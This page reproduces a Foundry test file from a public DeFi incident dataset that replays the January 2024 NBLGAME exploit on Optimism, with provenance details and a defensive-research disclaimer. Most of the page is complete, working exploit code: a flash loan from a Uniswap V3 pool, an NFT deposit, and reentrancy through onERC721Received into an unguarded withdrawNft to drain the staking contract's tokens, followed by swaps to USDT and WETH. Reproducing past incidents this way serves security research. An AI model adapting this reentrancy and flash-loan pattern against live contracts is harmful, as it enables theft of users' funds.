Skip to content
THREATWIRE

Public reproduction file

src/test/2024-01/NBLGAME_exp.sol

Public reproduction file for dataset entry NBLGAME.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-01/NBLGAME_exp.sol159 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~$180K
8// Attacker : https://optimistic.etherscan.io/address/0x1fd0a6a5e232eeba8020a40535ad07013ec4ef12
9// Attack Contracts : https://optimistic.etherscan.io/address/0xe4d41bdd6459198b33cc795ff280cee02d91087b
10// https://optimistic.etherscan.io/address/0xfc3b08555b1c328ecf8b8a0ccd85679bf59bba4c (selfdestruct)
11// Vuln Contract : https://optimistic.etherscan.io/address/0x5499178919c79086fd580d6c5f332a4253244d91
12// Attack Tx : https://app.blocksec.com/explorer/tx/optimism/0xf4fc3b638f1a377cf22b729199a9aeb27fc62fe2983a65c4d14b99ee5c5b2328
14// @Analysis
15// https://twitter.com/SlowMist_Team/status/1750526097106915453
16// https://twitter.com/AnciliaInc/status/1750558426382635036
18interface INblNftStake {
19 function unlockSlot() external;
21 function depositNft(uint256 _tokenid, uint256 _index) external;
23 function depositNbl(uint256 _index, uint256 _amount) external;
25 function withdrawNft(
26 uint256 _index
27 ) external;
30interface IRouterV3 {
31 struct ExactInputSingleParams {
32 address tokenIn;
33 address tokenOut;
34 uint24 fee;
35 address recipient;
36 uint256 amountIn;
37 uint256 amountOutMinimum;
38 uint160 sqrtPriceLimitX96;
39 }
41 function exactInputSingle(
42 ExactInputSingleParams memory params
43 ) external payable returns (uint256 amountOut);
46contract ContractTest is Test {
47 IERC721 private constant NBF = IERC721(0x534e1a8a89548C44BE7abA1c3c27951801940C10);
48 IERC20 private constant NBL = IERC20(0x4B03afC91295ed778320c2824bAd5eb5A1d852DD);
49 IERC20 private constant USDT = IERC20(0x94b008aA00579c1307B0EF2c499aD98a8ce58e58);
50 IERC20 private constant WETH = IERC20(0x4200000000000000000000000000000000000006);
51 Uni_Pair_V3 private constant NBL_USDT = Uni_Pair_V3(0xfAF037caAfA9620bFAebc04C298Bf4A104963613);
52 IRouterV3 private constant Router = IRouterV3(0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45);
53 INblNftStake private constant NblNftStake = INblNftStake(0x5499178919C79086fd580d6c5f332a4253244D91);
54 address private constant exploiterEOA = 0x1FD0a6A5e232EebA8020A40535AD07013Ec4ef12;
55 address private constant mainAttackContract = 0xE4D41BDD6459198B33Cc795ff280cEE02d91087b;
56 bool private reenter = true;
58 function setUp() public {
59 vm.createSelectFork("optimism", 115_293_068);
60 vm.label(address(NBF), "NBF");
61 vm.label(address(NBL), "NBL");
62 vm.label(address(USDT), "USDT");
63 vm.label(address(WETH), "WETH");
64 vm.label(address(NBL_USDT), "NBL_USDT");
65 vm.label(address(Router), "Router");
66 vm.label(address(NblNftStake), "NblNftStake");
67 vm.label(exploiterEOA, "exploiterEOA");
68 vm.label(mainAttackContract, "mainAttackContract");
69 }
71 function testExploit() public {
72 emit log_named_decimal_uint(
73 "Exploiter USDT balance before attack", USDT.balanceOf(address(this)), USDT.decimals()
74 );
76 emit log_named_decimal_uint(
77 "Exploiter WETH balance before attack", WETH.balanceOf(address(this)), WETH.decimals()
78 );
80 // Transfering NBF NFT token (id = 737) from main attack contract to helper attack contract which will be exploiting reentrancy vulnerability
81 vm.prank(mainAttackContract, exploiterEOA);
82 NBF.transferFrom(mainAttackContract, address(this), 737);
83 assertEq(NBF.ownerOf(737), address(this));
85 NBL_USDT.flash(address(this), NBL.balanceOf(address(NblNftStake)), 0, "");
87 NBLToUSDT();
88 NBLToWETH();
90 emit log_named_decimal_uint(
91 "Exploiter USDT balance after attack", USDT.balanceOf(address(this)), USDT.decimals()
92 );
94 emit log_named_decimal_uint(
95 "Exploiter WETH balance after attack", WETH.balanceOf(address(this)), WETH.decimals()
96 );
97 }
99 function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
100 USDT.approve(address(Router), type(uint256).max);
101 USDT.approve(address(NblNftStake), type(uint256).max);
102 NBL.approve(address(Router), type(uint256).max);
103 NBL.approve(address(NblNftStake), type(uint256).max);
104 uint256 returnAmount = NBL.balanceOf(address(NblNftStake));
106 NBF.setApprovalForAll(address(NblNftStake), true);
107 NblNftStake.unlockSlot();
108 NblNftStake.depositNft(737, 0);
109 NblNftStake.depositNbl(0, NBL.balanceOf(address(this)));
110 // Flawed function. No reentrancy protection
111 NblNftStake.withdrawNft(0);
113 // Repaying flashloan
114 NBL.transfer(address(NBL_USDT), returnAmount + fee0);
115 }
117 function onERC721Received(
118 address operator,
119 address from,
120 uint256 tokenId,
121 bytes calldata data
122 ) external returns (bytes4) {
123 if (reenter) {
124 reenter = false;
125 NBF.transferFrom(address(this), address(NblNftStake), 737);
126 NblNftStake.withdrawNft(0);
127 NblNftStake.depositNft(737, 0);
128 }
129 return this.onERC721Received.selector;
130 }
132 function NBLToUSDT() internal {
133 IRouterV3.ExactInputSingleParams memory params = IRouterV3.ExactInputSingleParams({
134 tokenIn: address(NBL),
135 tokenOut: address(USDT),
136 fee: 3000,
137 recipient: address(this),
138 amountIn: (NBL.balanceOf(address(this)) * 9) / 10,
139 amountOutMinimum: 0,
140 sqrtPriceLimitX96: 0
141 });
143 Router.exactInputSingle(params);
144 }
146 function NBLToWETH() internal {
147 IRouterV3.ExactInputSingleParams memory params = IRouterV3.ExactInputSingleParams({
148 tokenIn: address(NBL),
149 tokenOut: address(WETH),
150 fee: 3000,
151 recipient: address(this),
152 amountIn: NBL.balanceOf(address(this)),
153 amountOutMinimum: 0,
154 sqrtPriceLimitX96: 0
155 });
157 Router.exactInputSingle(params);
158 }

Analysis

Dataset entry

Public Foundry test for “NBLGAME” (2024-01-25). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x1fd0a6a5e232eeba8020a40535ad07013ec4ef12

  • Attack Contract

    0xe4d41bdd6459198b33cc795ff280cee02d91087b

  • Attack Tx

    0xf4fc3b638f1a377cf22b729199a9aeb27fc62fe2983a65c4d14b99ee5c5b2328

File record

Name
NBLGAME
Path
src/test/2024-01/NBLGAME_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
f3c29fcb1e39c6031495e8e7aa39e775100437e9
Language
Solidity
Size
160 lines
Date
2024-01-25
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-01/NBLGAME_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f3c29fcb1e39c6031495e8e7aa39e775100437e9, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.